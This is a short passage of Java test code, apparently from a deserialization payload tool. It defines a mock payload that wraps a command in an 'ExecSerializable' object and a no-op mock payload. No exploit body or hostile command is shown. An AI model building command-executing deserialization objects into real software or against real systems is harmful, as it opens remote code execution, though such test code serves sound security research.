public ExecSerializable getObject(String command) throws Exception {
return new ExecSerializable(command);
}
}
public static class NoopMockPayload implements ObjectPayload<Integer> {
public Integer getObject(String command) throws Exception {
return 1;
}
} }
} }